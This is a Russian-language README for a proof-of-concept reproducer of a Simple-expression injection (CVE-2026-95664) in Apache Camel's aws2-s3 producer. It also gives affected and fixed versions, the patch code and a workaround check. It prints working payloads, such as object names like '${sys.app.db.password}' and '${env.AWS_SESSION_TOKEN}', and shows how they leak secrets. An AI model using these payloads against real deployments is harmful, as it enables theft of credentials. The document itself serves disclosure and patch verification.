
Работающий reproducer на Spring Boot и Quarkus для CVE-2026-95664, демонстрирующий инъекцию Simple-выражений через заголовок CamelAwsS3Key в camel-aws2-s3 и проверяющий исправление.
Запускаемый воспроизводитель proof-of-concept для уязвимости Apache Camel, при которой producer camel-aws2-s3
брал ключ объекта из заголовка сообщения CamelAwsS3Key и — начиная с 4.8.0 —
AWS2S3Utils.determineKey() передавал это значение в язык Simple всякий раз, когда оно содержало ${ или
$simple{, чтобы маршрут мог использовать динамический ключ. Вычисление применялось к значению, взятому из
заголовка, в той же мере, что и к опции keyName, настроенной маршрутом.
| Среда выполнения | Каталог | Стек |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-aws2-s3 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Заголовок — это не конфигурация маршрута. Consumer aws2-s3 устанавливает CamelAwsS3Key в каждом exchange, который он
создаёт, равным ключу прочитанного им объекта — то есть имени объекта в бакете. В маршруте,
который не делает ничего, кроме потребления из одной конечной точки aws2-s3 и отправки в другую, имя каждого
потреблённого объекта, таким образом, достигало producer и вычислялось.
Любой, кто способен выбрать имя объекта в бакете, из которого потребляет такой маршрут, — как правило, любой principal,
которому разрешена загрузка в него, — мог добиться вычисления выбранных им выражений Simple внутри процесса
Camel. Simple может читать системные свойства JVM, переменные окружения и свойства конфигурации, которые
обычно содержат учётные данные, а при наличии camel-bean в classpath — вызывать методы у бинов реестра.
Настройка keyName на producer не являлась защитой, поскольку заголовок имеет приоритет над ней.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Вывод на уязвимой сборке (идентичен в обеих средах выполнения):
Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client®ion=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.
Values the deployment holds but the route never references:
system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
environment AWS_SESSION_TOKEN = ENV-SESSION-TOKEN-s3cr3t-88
1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
key the producer wrote: [invoice-2026.pdf]
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
the JVM system property was resolved into the key: true
3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
the environment variable was resolved into the key: true
4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
key the producer wrote: [route1-D953127238C9F86-0000000000000000]
evaluated rather than used literally: true
5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
key the producer wrote: [archived.txt]
the configured keyName was used instead: true
>>> PROVEN: ...
Probe 5 — это обходной путь, который рекомендации предлагают для развёртываний, пока не имеющих возможности обновиться, показанный в работе.
Без аккаунта AWS и без сети. Воспроизведение регистрирует записывающую заглушку для S3
(amazonS3Client=#s3Client), которая фиксирует ключ, который producer фактически запросил для записи — единственное,
что нужно наблюдать. Запускаются настоящий AWS2S3Producer и настоящий AWS2S3Utils.determineKey(); перехватывается
только вызов SDK в самом конце.
Драйвер устанавливает CamelAwsS3Key в имя потреблённого объекта, что в точности соответствует тому, что делает
consumer aws2-s3, поэтому стороне consumer не нужен собственный бакет.
Заглушка также отвечает на
headBucket, потому чтоAWS2S3Endpoint.doStart()проверяет существование бакета перед запуском маршрута. Эта проверка не связана с уязвимостью.
| Свойство | Значение |
|---|---|
| Компонент | camel-aws2-s3 (AWS2S3Utils.determineKey()) |
| CWE | CWE-917 (инъекция выражений языка) |
| Критичность | Средняя |
| Вектор атаки | Имя объекта в бакете, который потребляет маршрут aws2-s3, содержащее ${ или $simple{, передаваемое в producer через CamelAwsS3Key |
| Воздействие | Вычисление Simple-выражений в процессе Camel: чтение системных свойств, переменных окружения и свойств конфигурации; вызов методов на бинах реестра при наличии camel-bean |
| Затронутые версии | С 4.8.0 до 4.18.5, с 4.19.0 до 4.22.2 (в релизах до 4.8.0 значение заголовка использовалось как есть, и они не затронуты) |
| Исправленные версии | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24901 |
| Благодарность | Andrea Cosentino из Apache Software Foundation |
Рекомендация: https://camel.apache.org/security/CVE-2026-95664.html
Имя бакета проходило ту же самую оценку, но consumer всегда помещает в заголовок бакета только бакет, настроенный на его собственном endpoint, и никогда — значение, полученное из удалённого объекта, поэтому имя бакета таким способом было недостижимо.
Только ключ, настроенный маршрутом, может быть динамическим Simple-выражением. Ключ, переданный через заголовок, теперь используется буквально и никогда не вычисляется:
String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
// only the configured key (supplied by the route) may be a dynamic simple expression;
// a key provided through the header is used literally and never evaluated
key = configuration.getKeyName();
if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}
Исправлено в main в apache/camel#26746 (1fd7a667), с
бэкпортами в camel-4.22.x и camel-4.18.x.
После обновления имя ключа или бакета, переданное через заголовок сообщения, используется буквально — поэтому маршрут,
который намеренно помещал невычисленное выражение Simple в CamelAwsS3Key или CamelAwsS3OverrideBucketName,
теперь должен вычислять его в самом маршруте (setHeader(..., simple(...))) или настраивать его как опцию эндпоинта
keyName / bucketName.
Установите camel.version в 4.22.2 и запустите снова. Проверено на 4.22.1 → 4.22.2:
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [${sys.app.db.password}]
the JVM system property was resolved into the key: false
4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
evaluated rather than used literally: false
>>> NOT reproduced: the header was used literally.
Этот репозиторий публикуется в образовательных и защитных целях: чтобы помочь пользователям Apache Camel понять уязвимость, проверить, затронуты ли они, и убедиться, что обновление устраняет её. Не используйте этот материал против систем, которыми вы не владеете и не управляете.